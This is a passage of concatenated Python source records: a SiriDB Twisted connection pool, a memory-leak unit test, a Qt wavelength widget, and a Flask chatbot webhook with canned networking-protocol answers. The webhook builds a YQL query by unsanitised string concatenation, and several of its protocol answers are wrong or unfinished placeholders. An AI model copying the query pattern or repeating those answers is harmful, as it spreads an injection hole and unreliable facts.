again.\n '''\n hostlist = [list(host[:2]) + [host[2] if len(host) > 2 else {}]\n for host in hostlist]\n self._factories = set(\n [SiriFactory(username,\n password,\n dbname,\n host,\n port,\n config,\n triggerConnect=self._triggerConnect,\n inactiveTime=inactiveTime)\n for host, port, config in hostlist])\n self._factory_pool = []\n for factory in self._factories:\n assert 0 < factory.weight < 10, \\\n 'weight should be value between 1 and 9'\n for _ in range(factory.weight):\n self._factory_pool.append(factory)\n self._maxWaitRetry = maxWaitRetry\n self._inConnectLoop = False\n\n @defer.inlineCallbacks\n def connect(self, timeout=DEFAULT_CONNECT_TIMEOUT):\n self._retryConnect = True\n result = yield self._connect(timeout)\n if not all([success for success, _ in result]) and \\\n not self._inConnectLoop:\n self._connectLoop()\n defer.returnValue(result)\n\n def close(self):\n self._retryConnect = False\n for factory in self._factories:\n if factory.connected:\n factory.connector.disconnect()\n\n @defer.inlineCallbacks\n def insert(self, data, timeout=300):\n '''Insert data into SiriDB.\n\n see module doc-string for info on exception handling.\n '''\n while True:\n factory = self._getRandomConnection()\n\n try:\n result = yield factory.protocol.sendPackage(\n protomap.CPROTO_REQ_INSERT,\n data,\n timeout)\n except (ConnectionClosed, ServerError) as e:\n log.msg('Insert failed with error {}, trying another '\n 'server if one is available...'.format(\n getattr(e, 'message', e)),\n logLevel=logging.DEBUG)\n if factory.connected:\n factory.setNotAvailable()\n else:\n factory.lastResp = time.time()\n defer.returnValue(result)\n\n @defer.inlineCallbacks\n def query(self, query, timePrecision=None, timeout=60):\n '''Send a query to SiriDB.\n\n see module doc-string for info on exception handling.\n '''\n assert isinstance(query, STRCMP), \\\n 'query should be of type str, unicode or bytes'\n\n assert timePrecision is None or isinstance(timePrecision, int), \\\n 'timePrecision should be None or an int type.'\n\n tryUnavailable = True\n while True:\n factory = self._getRandomConnection(tryUnavailable)\n try:\n result = yield factory.protocol.sendPackage(\n protomap.CPROTO_REQ_QUERY,\n data=(query, timePrecision),\n timeout=timeout)\n except (ConnectionClosed, ServerError) as e:\n log.msg('Query failed with error {}, trying another '\n 'server if one is available...'.format(\n getattr(e, 'message', e)),\n logLevel=logging.DEBUG)\n if factory.connected:\n factory.setNotAvailable()\n else:\n factory.lastResp = time.time()\n defer.returnValue(result)\n\n # only try unavailable once\n tryUnavailable = False\n\n @defer.inlineCallbacks\n def _connect(self, timeout=DEFAULT_CONNECT_TIMEOUT):\n tasks = []\n for factory in self._factories:\n if not factory.connected:\n factory.setAuthDeferred()\n if factory.connector:\n factory.connector.connect()\n else:\n factory.connector = reactor.connectTCP(\n factory.host,\n factory.port,\n factory,\n timeout=timeout)\n tasks.append(factory._authDeferred)\n if not tasks:\n return\n result = yield defer.DeferredList(tasks, consumeErrors=True)\n defer.returnValue(result)\n\n @defer.inlineCallbacks\n def _connectLoop(self):\n self._inConnectLoop = True\n sleep = 1\n try:\n while self._inConnectLoop:\n log.msg('Reconnecting in {} seconds...'.format(sleep),\n logLevel=logging.DEBUG)\n\n yield task.deferLater(reactor, sleep, lambda: None)\n\n if not self._retryConnect:\n break\n\n result = yield self._connect()\n\n # We check for positive results and if all are connected\n # since connections might be destroyed while last async\n # connect request.\n if all([success for success, _ in result]) and \\\n all([factory.connected for factory in self._factories]):\n self._inConnectLoop = False\n\n if not self._retryConnect:\n break\n\n sleep = min(sleep * 2, self._maxWaitRetry)\n\n except Exception as e:\n pass\n\n finally:\n self._inConnectLoop = False\n\n def _triggerConnect(self):\n if self._retryConnect and not self._inConnectLoop:\n self._connectLoop()\n\n def _getRandomConnection(self, tryUnavailable=False):\n available = [factory\n for factory in self._factory_pool\n if factory.isAvailable]\n\n nonBackups = [factory for factory in available if not factory.isBackup]\n\n if nonBackups:\n return random.choice(nonBackups)\n\n if available:\n return random.choice(available)\n\n if tryUnavailable:\n\n connections = \\\n [factory\n for factory in self._factory_pool\n if factory.connected]\n\n if connections:\n return random.choice(connections)\n\n raise PoolError('No available connections found')\n\n @property\n def hasConnections(self):\n '''Returns True when having at least one available connection.'''\n for factory in self._factory_pool:\n if factory.isAvailable:\n return True\n return False", "source": "transceptor-technology/siridb-connector-twisted", "license": "MIT"} {"text": "# -*- coding: UTF-8 -*-\n\"\"\"\nUnit tests.\n\nWe are going to use PIL to load an image into a list creating a predictable memory leak.\n\"\"\"\nimport os\nfrom pathlib import Path\nfrom PIL import Image # noqa\nfrom razortrace import Probe, probe\n\n\nHERE = os.path.abspath(os.path.dirname(__file__))\nIMG = Path(HERE + '/lightbulb.png')\nHOLD = list()\n\n\nclass Leak:\n \"\"\"\n An attempt to create a predictable memory leak.\n \"\"\"\n images = list()\n\n def __init__(self):\n self.probe = Probe(HERE)\n\n def load(self, count: int = 10):\n \"\"\"\n This will loop for the number specified in ``count`` loading our test image each time.\n param count: Number of times to iterate.\n\n\n\n \"\"\"\n self.probe.sample() # <--- Leak ---------------------------------------------\n while count:\n img = Image.open(IMG) # <--- Leak ---------------------------------------------\n self.images.append(img)\n count -= 1\n self.probe.sample() # <--- Leak ---------------------------------------------\n self.probe.report(traceback=True, debug=True)\n del img\n return self.probe.filtered_statistics\n\n def clear(self):\n \"\"\"\n Purges our memory.\n \"\"\"\n self.probe.reset()\n for idx, image in enumerate(self.images):\n image.close()\n self.images[idx] = None\n\n\ndef test_image():\n \"\"\"\n This will test for an image memory leak.\n \"\"\"\n leak = Leak()\n stats = list(leak.load(1000))\n leak.clear()\n del leak\n lines = list()\n for stat in stats:\n lines.append(stat['line'])\n assert lines == [37, 35, 40]\n\n\n@probe(trigger='TRACE_TEXT', traceback=True, clear=True, debug=True)\ndef text():\n \"\"\"\n Creates a memory leak from a text file.\n \"\"\"\n global HOLD\n with open(Path(HERE + '/text.txt'), \"r\") as txt: # <--- Leak ---------------------------------------------\n for line in txt.readlines(): # <--- Leak ---------------------------------------------\n HOLD.append(line)\n for cycle in range(0, 1000):\n HOLD.append([cycle, HOLD])\n return\n\n\ndef test_text():\n \"\"\"\n Fires off the above logic into a unit test.\n \"\"\"\n os.environ[\"TRACE_TEXT\"] = \"1\" # Enable trace.\n txt = text() # <--- Leak ---------------------------------------------\n stats = txt.trace.filtered_statistics\n txt.trace.reset()\n lines = list()\n for stat in stats:\n lines.append(stat['line'])\n assert lines == [76, 75]\n\n\ndef test_disable():\n \"\"\"\n As the trace was disabled in the last test, this will confirm that we are properly cleaning up\n when not in use.\n \"\"\"\n os.environ.pop(\"TRACE_TEXT\") # Disable trace so we can confirm cleanup works.\n txt = text()\n stats = txt.trace.filtered_statistics\n assert len(stats) == 0\n", "source": "manbehindthemadness/razortrace", "license": "MIT"} {"text": "from qtpy import QtWidgets\n\nimport numpy as np\n\n\nclass SetWavelengthModel(object):\n \"\"\"Model for :class:`SetWavelengthWidget`\n\n Parameters\n ----------\n image_set : :class:`~.pdsspect_image_set.PDSSpectImageSet`\n pdsspect model\n\n Attributes\n ----------\n image_set : :class:`~.pdsspect_image_set.PDSSpectImageSet`\n pdsspect model\n \"\"\"\n\n def __init__(self, image_set):\n self._views = []\n self.image_set = image_set\n self._current_image_index = int(image_set.current_image_index)\n\n def register(self, view):\n if view not in self._views:\n self._views.append(view)\n\n def unregister(self, view):\n if view in self._views:\n self._views.remove(view)\n\n @property\n def accepted_units(self):\n \"\"\":obj:`list` : List of accepted units: ``nm``, ``um``, and ``AA``\"\"\"\n return self.image_set.accepted_units\n\n @property\n def current_image_index(self):\n \"\"\":obj:`int` : Index of current image in menu\"\"\"\n return self._current_image_index\n\n @current_image_index.setter\n def current_image_index(self, index):\n self._current_image_index = index\n self.display_current_wavelength()\n\n @property\n def current_image(self):\n \"\"\":class:`~.pdsspect_image_set.ImageStamp` : Current image in menu\"\"\"\n return self.image_set.images[self.current_image_index]\n\n @property\n def unit(self):\n \"\"\":obj:`str` : :attr:`image_set` unit\n\n Setting the :attr`unit` will set the :attr:`image_set` unit\n \"\"\"\n\n return self.image_set.unit\n\n @unit.setter\n def unit(self, new_unit):\n try:\n self.image_set.unit = new_unit\n except ValueError:\n pass\n finally:\n self.display_current_wavelength()\n\n @property\n def unit_index(self):\n \"\"\":obj:`int` Index of :attr`unit` in :attr:`accepted_units`\"\"\"\n return self.accepted_units.index(self.unit)\n\n def display_current_wavelength(self):\n \"\"\"Display current wavelength in registered views\"\"\"\n for view in self._views:\n view.display_current_wavelength()\n\n\nclass SetWavelengthController(object):\n \"\"\"Controller for :class:`SetWavelengthWidget`\n\n Parameters\n ----------\n model : :class:`SetWavelengthModel`\n Model for :class:`SetWavelengthWidget`\n view : :class:`SetWavelengthWidget`\n The view to control\n\n Attributes\n ----------\n model : :class:`SetWavelengthModel`\n Model for :class:`SetWavelengthWidget`\n view : :class:`SetWavelengthWidget`\n The view to control\n \"\"\"\n\n def __init__(self, model, view):\n self.model = model\n self.view = view\n\n def set_current_image_index(self, index):\n \"\"\"Set the model's :attr:`SetWavelengthModel.current_image_index`\n\n Parameters\n ----------\n index : :obj:`int`\n Index to change :attr:`SetWavelengthModel.current_image_index` to\n \"\"\"\n\n self.model.current_image_index = index\n\n def change_unit(self, index):\n \"\"\"Set the model's :attr:`SetWavelengthModel.unit`\n\n Parameters\n ----------\n index : :obj:`int`\n Index of :attr:`SetWavelengthModel.accepted_units` to change the\n :attr:`SetWavelengthModel.unit` to\n \"\"\"\n\n self.model.unit = self.model.accepted_units[index]\n\n def set_image_wavelength(self, wavelength):\n \"\"\"Set the model's :attr:`SetWavelengthModel.current_image` wavelength\n\n Parameters\n ----------\n wavelength : :obj:`float`\n The model's :attr:`SetWavelengthModel.current_image` new wavelength\n \"\"\"\n\n self.model.current_image.wavelength = wavelength\n self.model.display_current_wavelength()\n for view in self.model.image_set._views:\n view.set_roi_data()\n\n\nclass SetWavelengthWidget(QtWidgets.QMainWindow):\n \"\"\"Widget to set images wavelength\n\n Using a :class:`QtWidgets.QMainWindow ` for the\n status bar at the bottom.\n\n Parameters\n ----------\n model : :class:`SetWavelengthModel`\n Model for :class:`SetWavelengthWidget`\n\n Attributes\n ----------\n model : :class:`SetWavelengthModel`\n Model for :class:`SetWavelengthWidget`\n controller : :class:`SetWavelengthController`\n The widgets controller\n image_menu : :class:`QtWidgets.QComboBox `\n Menu to choose the image to set the wavelength\n wavelength_text : :class:`QtWidgets.QLineEdit `\n Text box to enter and display wavelength\n units_menu : :class:`QtWidgets.QComboBox `\n Menu to choose unit of wavelength\n main_layout : :class:`QtWidgets.QHBoxLayout `\n Main layout of widget\n \"\"\"\n\n def __init__(self, model):\n super(SetWavelengthWidget, self).__init__()\n self.model = model\n self._central_widget = QtWidgets.QWidget()\n model.register(self)\n self.controller = SetWavelengthController(model, self)\n\n self.image_menu = QtWidgets.QComboBox()\n for image in self.model.image_set.images:\n self.image_menu.addItem(image.image_name)\n self.image_menu.setCurrentIndex(self.model.current_image_index)\n self.image_menu.currentIndexChanged.connect(self.select_image)\n\n self.wavelength_text = QtWidgets.QLineEdit()\n self.wavelength_text.returnPressed.connect(self.set_wavelength)\n\n self.units_menu = QtWidgets.QComboBox()\n for unit in self.model.accepted_units:\n self.units_menu.addItem(unit)\n self.units_menu.setCurrentIndex(self.model.unit_index)\n self.units_menu.currentIndexChanged.connect(self.change_unit)\n\n self.main_layout = QtWidgets.QHBoxLayout()\n self.main_layout.addWidget(self.image_menu)\n self.main_layout.addWidget(self.wavelength_text)\n self.main_layout.addWidget(self.units_menu)\n self._central_widget.setLayout(self.main_layout)\n self.setCentralWidget(self._central_widget)\n self.setWindowTitle('Set Wavelengths')\n self.statusBar()\n self.display_current_wavelength()\n\n def select_image(self, index):\n \"\"\"Select current image\n\n Parameters\n ----------\n index : :obj:`int`\n Index to change :attr:`SetWavelengthModel.current_image_index` to\n \"\"\"\n\n self.controller.set_current_image_index(index)\n\n def display_current_wavelength(self):\n \"\"\"Display the :attr:`SetWavelengthModel.current_image` wavelength in\n :attr:`wavelength_text`\n \"\"\"\n\n wavelength = self.model.current_image.wavelength\n if np.isnan(wavelength):\n self.wavelength_text.setText('')\n else:\n self.wavelength_text.setText(str(wavelength))\n\n def set_wavelength(self):\n \"\"\"Set the :attr:`SetWavelengthModel.current_image` wavelength to value\n in :attr:`wavelength_text`\n \"\"\"\n\n try:\n wavelength = self.wavelength_text.text()\n if wavelength == '':\n wavelength = float('nan')\n else:\n wavelength = float(wavelength)\n self.controller.set_image_wavelength(wavelength)\n self.show_status_bar_wavelength_set()\n except ValueError:\n self.display_current_wavelength()\n\n def change_unit(self, index):\n \"\"\"Change :attr:`SetWavelengthModel.unit` to unit in :attr:`units_menu`\n\n Parameters\n ----------\n index : :obj:`int`\n Index of :attr:`SetWavelengthModel.accepted_units` to change the\n :attr:`SetWavelengthModel.unit` to\n \"\"\"\n\n self.controller.change_unit(index)\n self.show_status_bar_wavelength_set()\n\n def show_status_bar_wavelength_set(self):\n \"\"\"Alert user wavelength is set\"\"\"\n self.statusBar().showMessage('Wavelength Set', 1000)\n", "source": "fochoao/cpython", "license": "bzip2-1.0.6"} {"text": "#!/usr/bin/env python\n\nfrom __future__ import print_function\nfrom future.standard_library import install_aliases\ninstall_aliases()\n\nfrom urllib.parse import urlparse, urlencode\nfrom urllib.request import urlopen, Request\nfrom urllib.error import HTTPError\n\nimport json\nimport os\n\nfrom flask import Flask\nfrom flask import request\nfrom flask import make_response\n\n# Flask app should start in global layout\napp = Flask(__name__)\n\n\n@app.route('/webhook', methods=['POST'])\ndef webhook():\n req = request.get_json(silent=True, force=True)\n\n print(\"Request:\")\n print(json.dumps(req, indent=4))\n\n res = processRequest(req)\n\n res = json.dumps(res, indent=4)\n # print(res)\n r = make_response(res)\n r.headers['Content-Type'] = 'application/json'\n return r\n\n\ndef processRequest(req):\n if req.get(\"result\").get(\"action\")==\"yahooWeatherForecast\":\n baseurl = \"https://query.yahooapis.com/v1/public/yql?\"\n yql_query = makeYqlQuery(req)\n if yql_query is None:\n return {}\n yql_url = baseurl + urlencode({'q': yql_query}) + \"&format=json\"\n result = urlopen(yql_url).read()\n data = json.loads(result)\n res = makeWebhookResult(data)\n\n elif req.get(\"result\").get(\"action\")==\"getjoke\":\n baseurl = \"http://api.icndb.com/jokes/random\"\n result = urlopen(baseurl).read()\n data = json.loads(result)\n res = makeWebhookResultForGetJoke(data)\n\n elif req.get(\"result\").get(\"action\")==\"layerabout\":\n result = req.get(\"result\")\n parameters = result.get(\"parameters\")\n layer = parameters.get(\"layer\")\n res = makeWebhookResultLayerAbout(layer)\n\n elif req.get(\"result\").get(\"action\")==\"layer4_congestion\":\n result = req.get(\"result\")\n parameters = result.get(\"parameters\")\n congestion4 = parameters.get(\"congestion_control\")\n res = congestion_control_layer4(congestion4)\n\n elif req.get(\"result\").get(\"action\")==\"layer2_congestion\":\n result = req.get(\"result\")\n parameters = result.get(\"parameters\")\n congestion2 = parameters.get(\"congestion_control\")\n res = congestion_control_layer2(congestion2)\n\n elif req.get(\"result\").get(\"action\")==\"get_protocol_spec\":\n result = req.get(\"result\")\n parameters = result.get(\"parameters\")\n prot = parameters.get(\"protocols\")\n res = prot_info(prot)\n\n elif req.get(\"result\").get(\"action\")==\"get_protocol_spec_info\":\n result = req.get(\"result\")\n parameters = result.get(\"parameters\")\n prot = parameters.get(\"protocols\")\n res = prot_more_info(prot)\n\n elif req.get(\"result\").get(\"action\")==\"get_protocol_info_more\":\n result = req.get(\"result\")\n parameters = result.get(\"parameters\")\n prot = parameters.get(\"protocols\")\n infor = parameters.get(\"Information\")\n res = prot_more_info_more(prot, infor)\n\n elif req.get(\"result\").get(\"action\")==\"get_ipvdiff\":\n result = req.get(\"result\")\n parameters = result.get(\"parameters\")\n prot = parameters.get(\"protocols\")\n res = prot_more_info_more(\"IP\", \"advantages\")\n\n elif req.get(\"result\").get(\"action\")==\"get_layer_info_general\":\n result = req.get(\"result\")\n parameters = result.get(\"parameters\")\n res = layer_general_event()\n\n elif req.get(\"result\").get(\"action\")==\"trigger_peer_event\":\n result = req.get(\"result\")\n parameters = result.get(\"parameters\")\n res = peer_event()\n\n elif req.get(\"result\").get(\"action\")==\"p2p_info\":\n result = req.get(\"result\")\n parameters = result.get(\"parameters\")\n topo = parameters.get(\"Topologies\")\n res = p2p_inf(topo)\n\n #elif req.get(\"result\").get(\"action\")==\"greeting\":\n #result = req.get(\"result\")\n #parameters = result.get(\"parameters\")\n #eve = parameters.get(\"eve\")\n #res = makeWebhookResultTriggerEvent()\n else:\n return {}\n \n return res\n\ndef makeYqlQuery(req):\n result = req.get(\"result\")\n parameters = result.get(\"parameters\")\n city = parameters.get(\"geo-city\")\n if city is None:\n return None\n\n return \"select * from weather.forecast where woeid in (select woeid from geo.places(1) where text='\" + city + \"')\"\n\ndef p2p_inf(topo):\n topodef = {'p2pv1':'Every node of the overlay knows k > 2 other nodes. Data gets flooded over the edges and every node contains every information.',\n 'p2pv2':'Every node contains only a small fraction of the data. Hence rare content is hard to find. This type of p2p is usually deployed via directory servers or flooding with backtracking.',\n 'dht':'Distributed Hash-Tables are a structured p2p overlay and utilizes a dynamic number of nodes. I realizes a cyclic data space and since every node knows the address of its logical successor, the complexity of searches is reduced to O(n).',\n 'unstructured':'Unstructured peer-to-peer networks do not impose a particular structure on the overlay network by design, but rather are formed by nodes that randomly form connections to each other.',\n 'structured':'In structured peer-to-peer networks the overlay is organized into a specific topology, and the protocol ensures that any node can efficiently search the network for a file/resource, even if the resource is extremely rare.'}\n if topo in topodef:\n speech = topodef[topo]\n else:\n speech = \"Could you tell me the p2p form you are interested in again?\"\n\n return {\n \"speech\": speech,\n \"displayText\": speech,\n # \"data\": data,\n # \"contextOut\": [],\n \"source\": \"apiai-weather-webhook-sample\"\n }\n\n\ndef peer_event():\n speech = \"peer event was triggered!\"\n\n return {\n \"speech\": speech,\n \"displayText\": speech,\n # \"data\": data,\n # \"contextOut\": [],\n \"source\": \"apiai-weather-webhook-sample\",\n \"followupEvent\":{\"name\":\"peerevent\",\"data\":{\" \":\" \"}}\n }\n\ndef layer_general_event():\n speech = \"Layer general event was triggered!\"\n\n return {\n \"speech\": speech,\n \"displayText\": speech,\n # \"data\": data,\n # \"contextOut\": [],\n \"source\": \"apiai-weather-webhook-sample\",\n \"followupEvent\":{\"name\":\"layergeneraltrigger\",\"data\":{\" \":\" \"}}\n }\n\n\ndef prot_more_info_more(prot, infor):\n\n if infor == \"advantages\":\n speech = prot_advantages(prot)\n elif infor == \"issues\":\n speech = prot_disadvantages(prot)\n elif infor == \"alternatives\":\n speech = prot_alternatives(prot)\n elif infor == \"difference\":\n speech = prot_diff_udp_tcp()\n else:\n speech = \"Mhh I am not quite sure about \" + infor + \" but I will ask someone and come back to you :) In the mean time we could talk about advantages, issues or alternatives to this protocol or something else altogehter!\"\n\n return {\n \"speech\": speech,\n \"displayText\": speech,\n # \"data\": data,\n # \"contextOut\": [],\n \"source\": \"apiai-weather-webhook-sample\"\n }\n\ndef prot_diff_udp_tcp():\n return \"There are two types of Internet Protocol (IP) traffic. They are TCP or Transmission Control Protocol and UDP or User Datagram Protocol. TCP is connection oriented \u2013 once a connection is established, data can be sent bidirectional. UDP is a simpler, connectionless Internet protocol.\"\n\n\ndef prot_advantages(prot):\n protdef = {'TCP':'The main advantage of TCP is that it offers connection-oriented communication - which means that a communication session or a semi-permanent connection is established before any useful data can be transferred, and where a stream of data is delivered in the same order as it was sent',\n 'HTTP':'It s greates adantage is that basically is everywhere on the internet',\n 'SMTP':'Although proprietary systems (such as Microsoft Exchange and IBM Notes) and webmail systems (such as Outlook.com, Gmail and Yahoo! Mail) use their own non-standard protocols to access mail box accounts on their own mail servers, all use SMTP when sending or receiving email from outside their own systems.',\n 'IMAP':'The main advantage of IMAP would be that one can acces their mails directly on the server',\n 'DNS':'The Domain Name System delegates the responsibility of assigning domain names and mapping those names to Internet resources by designating authoritative name servers for each domain. Network administrators may delegate authority over sub-domains of their allocated name space to other name servers. This mechanism provides distributed and fault tolerant service and was designed to avoid a single large central database.',\n 'SIP':'SIPs main advantages lies within its capability to singal and control multimedia communication sessions',\n 'RTP':'RTPs greates strength is that it is designed for end-to-end, real-time, transfer of streaming media. The protocol provides facilities for jitter compensation and detection of out of sequence arrival in data, which are common during transmissions on an IP network. RTP allows data transfer to multiple destinations through IP multicast.',\n 'HTML':'Advantes of HTML are...',\n 'IP':'IPv4 provides safeguards to ensure that the IP packet header is error-free. A routing node calculates a checksum for a packet. If the checksum is bad, the routing node discards the packet. Although the Internet Control Message Protocol (ICMP) allows such notification, the routing node is not required to notify either end node of these errors. By contrast, in order to increase performance, and since current link layer technology is assumed to provide sufficient error detection, the IPv6 header has no checksum to protect it.',\n 'UDP':'Since UDP is connectionless it is a ton fastern than TCP.',\n 'RPC':'The greates advantage of the RPC model is that it implies a level of location transparency, namely that calling procedures is largely the same whether it is local or remote, but usually they are not identical, so local calls can be distinguished from remote calls. Remote calls are usually orders of magnitude slower and less reliable than local calls, so distinguishing them is important.'\n }\n return protdef[prot]\n\n\ndef prot_disadvantages(prot):\n protdef = {'TCP':'Some possible issues with TCP are Denial of Service, Connection hijaking and TCP veto.',\n 'HTTP':'The TRACE method can be used as part of a class of attacks known as cross-site tracing; for that reason, common security advice is for it to be disabled in the server configuration. Microsoft IIS supports a proprietary \"TRACK\" method, which behaves similarly, and which is likewise recommended to be disabled',\n 'SMTP':'One cannot delete or access mails directly on the server',\n 'IMAP':'IMAPs disadvantages would be...',\n 'DNS':'Several vulnerability issues were discovered and exploited by malicious users. One such issue is DNS cache poisoning, in which data is distributed to caching resolvers under the pretense of being an authoritative origin server, thereby polluting the data store with potentially false information and long expiration times (time-to-live). Subsequently, legitimate application requests may be redirected to network hosts operated with malicious intent.',\n 'SIP':'Issues with SIP include...',\n 'RTP':'The most common problems with RTP are...',\n 'HTML':'Common issues with HTML include...',\n 'IP':'Various error conditions may occur, such as data corruption, packet loss, duplication and out-of-order delivery. Because routing is dynamic, meaning every packet is treated independently, and because the network maintains no state based on the path of prior packets, different packets may be routed to the same destination via different paths, resulting in out-of-order sequencing at the receiver.',\n 'UDP':'Since UDP emphazises reduced latency over reliability, it is not the best option if you need your data to arrive in the correct order to guarantee correct delivery!',\n 'RPC':'I am not quite sure about RPCs disandavtages... I ll get back to you for this question though!'\n }\n return protdef[prot]\n\n\ndef prot_alternatives(prot):\n protdef = {'TCP':'UDP is the connection-less counterpart to TCP.',\n 'HTTP':'HTTPS would be a good alternative',\n 'SMTP':'IMAP or POP3 are more common alternatives',\n 'IMAP':'POP3 (more commonly used today) or SMTP woudl be alternatives to IMAP',\n 'DNS':'I think we did not disucss alternatives for DNS...',\n 'SIP':'Alternatives to SIP would be IAX, ICE, XMPP (Google Hangouts)',\n 'RTP':'Alternatives for RTP include...',\n 'HTML':'HTML alternatives would consist of...',\n 'IP':'There are two commonly used versions of IP - IPv4 and IPv6',\n 'UDP':'TCP would be the connection-oriented counterpart to UDP.',\n 'RPC':'RPCs are a form of inter-process communication (IPC), in that different processes have different address spaces: if on the same host machine, they have distinct virtual address spaces, even though the physical address space is the same; while if they are on different hosts, the physical address space is different. Many different (often incompatible) technologies have been used to implement the concept.'\n }\n return protdef[prot]\n\n\ndef prot_info(prot):\n protdef = {'TCP':'TCP = Transmission Control Protocol',\n 'HTTP':'HTTP = Hyper Text Transfer Protocol',\n 'SMTP':'SMTP = Simple Mail Transport Protocol',\n 'IMAP':'IMAP = Internet Message Access Protocol',\n 'DNS':'DNS = Domain Name System',\n 'SIP':'SIP = Session Initiation Protocol',\n 'RTP':'RTP = Real-time Transport Protocol',\n 'HTML':'HTML = Hypertext Markup Language',\n 'IP':'IP = Internet Protocol',\n 'UDP':'UDP = User Datagram Protocol',\n 'RPC':'RPC = Remote Procedure Call'\n }\n #in case of no specific protocol - entities none or protocol\n if prot in protdef:\n speech = protdef[prot] + \"Would you like to hear a bit more about \" + prot + \" ?\"\n else:\n speech = \"I guess it's time to switch topics then :)\"\n if prot == \"none\" or prot == \"protocol\":\n speech = \"In this case... Would you like to talk about protocols in general then?\"\n\n return {\n \"speech\": speech,\n \"displayText\": speech,\n # \"data\": data,\n # \"contextOut\": [],\n \"source\": \"apiai-weather-webhook-sample\"\n }\n\ndef prot_more_info(prot):\n protdef = {'TCP':'The Transmission Control Protocol (TCP) is one of the main protocols of the Internet protocol suite. It originated in the initial network implementation in which it complemented the Internet Protocol (IP). Therefore, the entire suite is commonly referred to as TCP/IP. TCP provides reliable, ordered, and error-checked delivery of a stream of octets between applications running on hosts communicating by an IP network. Major Internet applications such as the World Wide Web, email, remote administration, and file transfer rely on TCP.',\n 'HTTP':'The Hypertext Transfer Protocol (HTTP) is an application protocol for distributed, collaborative, and hypermedia information systems. HTTP is the foundation of data communication for the World Wide Web. Hypertext is structured text that uses logical links (hyperlinks) between nodes containing text. HTTP is the protocol to exchange or transfer hypertext.',\n 'SMTP':'Simple Mail Transfer Protocol (SMTP) is an Internet standard for electronic mail (email) transmission. Although electronic mail servers and other mail transfer agents use SMTP to send and receive mail messages, user-level client mail applications typically use SMTP only for sending messages to a mail server for relaying. For retrieving messages, client applications usually use either IMAP or POP3.',\n 'IMAP':'In computing, the Internet Message Access Protocol (IMAP) is an Internet standard protocol used by e-mail clients to retrieve e-mail messages from a mail server over a TCP/IP connection. IMAP was designed with the goal of permitting complete management of an email box by multiple email clients, therefore clients generally leave messages on the server until the user explicitly deletes them.',\n 'DNS':'The Domain Name System (DNS) is a hierarchical decentralized naming system for computers, services, or other resources connected to the Internet or a private network. It associates various information with domain names assigned to each of the participating entities. Most prominently, it translates more readily memorized domain names to the numerical IP addresses needed for locating and identifying computer services and devices with the underlying network protocols. By providing a worldwide, distributed directory service, the Domain Name System is an essential component of the functionality on the Internet, that has been in use since 1985.',\n 'SIP':'The Session Initiation Protocol (SIP) is a communications protocol for signaling and controlling multimedia communication sessions in applications of Internet telephony for voice and video calls, in private IP telephone systems, as well as in instant messaging over Internet Protocol (IP) networks. SIP works in conjunction with several other protocols that specify and carry the session media. Media type and parameter negotiation and media setup is performed with the Session Description Protocol (SDP), which is carried as payload in SIP messages. For the transmission of media streams (voice, video) SIP typically employs the Real-time Transport Protocol (RTP) or the Secure Real-time Transport Protocol (SRTP).',\n 'RTP':'The Real-time Transport Protocol (RTP) is a network protocol for delivering audio and video over IP networks. RTP is used extensively in communication and entertainment systems that involve streaming media, such as telephony, video teleconference applications, television services and web-based push-to-talk features. RTP typically runs over User Datagram Protocol (UDP). RTP is used in conjunction with the RTP Control Protocol (RTCP). While RTP carries the media streams (e.g., audio and video), RTCP is used to monitor transmission statistics and quality of service (QoS) and aids synchronization of multiple streams. RTP is one of the technical foundations of Voice over IP and in this context is often used in conjunction with a signaling protocol such as the Session Initiation Protocol (SIP) which establishes connections across the network.',\n 'HTML':'Hypertext Markup Language (HTML) is the standard markup language for creating web pages and web applications. With Cascading Style Sheets (CSS) and JavaScript it forms a triad of cornerstone technologies for the World Wide Web. Web browsers receive HTML documents from a webserver or from local storage and render them into multimedia web pages. HTML describes the structure of a web page semantically and originally included cues for the appearance of the document.',\n 'IP':'The Internet Protocol (IP) is the principal communications protocol in the Internet protocol suite for relaying datagrams across network boundaries. Its routing function enables internetworking, and essentially establishes the Internet. IP has the task of delivering packets from the source host to the destination host solely based on the IP addresses in the packet headers. For this purpose, IP defines packet structures that encapsulate the data to be delivered. It also defines addressing methods that are used to label the datagram with source and destination information.',\n 'UDP':'In electronic communication, the User Datagram Protocol (UDP) is one of the core members of the Internet protocol suite. With UDP, computer applications can send messages, in this case referred to as datagrams, to other hosts on an Internet Protocol (IP) network. Prior communications are not required in order to set up transmission channels or data paths. UDP uses a simple connectionless transmission model with a minimum of protocol mechanism. UDP provides checksums for data integrity, and port numbers for addressing different functions at the source and destination of the datagram. It has no handshaking dialogues, and thus exposes the users program to any unreliability of the underlying network: there is no guarantee of delivery, ordering, or duplicate protection',\n 'RPC':'n distributed computing, a remote procedure call (RPC) is when a computer program causes a procedure (subroutine) to execute in a different address space (commonly on another computer on a shared network), which is coded as if it were a normal (local) procedure call, without the programmer explicitly coding the details for the remote interaction. That is, the programmer writes essentially the same code whether the subroutine is local to the executing program, or remote. This is a form of client\u2013server interaction (caller is client, executor is server), typically implemented via a request\u2013response message-passing system.'\n }\n #in case of no specific protocol - entities none or protocol\n if prot in protdef:\n speech = protdef[prot]\n else:\n speech = \"I guess it's time to switch topics then :)\"\n if prot == \"none\" or prot == \"protocol\":\n speech = \"In this case... Would you like to talk about protocols in general then?\"\n\n return {\n \"speech\": speech,\n \"displayText\": speech,\n # \"data\": data,\n # \"contextOut\": [],\n \"source\": \"apiai-weather-webhook-sample\"\n }\n\n\n\ndef congestion_control_layer2(congestion):\n con_methods = {'aloha':'The first version of the protocol was quite simple: If you have data to send, send the data - If, while you are transmitting data, you receive any data from another station, there has been a message collision. All transmitting stations will need to try resending \"later\". Note that the first step implies that Pure ALOHA does not check whether the channel is busy before transmitting. Since collisions can occur and data may have to be sent again, ALOHA cannot use 100 percent of the capacity of the communications channel. How long a station waits until it transmits, and the likelihood a collision occurs are interrelated, and both affect how efficiently the channel can be used.',\n 's-aloha':'An improvement to the original ALOHA protocol was \"Slotted ALOHA\", which introduced discrete timeslots and increased the maximum throughput. A station can start a transmission only at the beginning of a timeslot, and thus collisions are reduced. In this case, only transmission-attempts within 1 frame-time and not 2 consecutive frame-times need to be considered, since collisions can only occur during each timeslot.',\n 'CSMA':'Carrier-sense multiple access (CSMA) is a media access control (MAC) protocol in which a node verifies the absence of other traffic before transmitting on a shared transmission medium. A transmitter attempts to determine whether another transmission is in progress before initiating a transmission using a carrier-sense mechanism. That is, it tries to detect the presence of a carrier signal from another node before attempting to transmit.',\n 'CSMA/CD':'CSMA/CD is used to improve CSMA performance by terminating transmission as soon as a collision is detected, thus shortening the time required 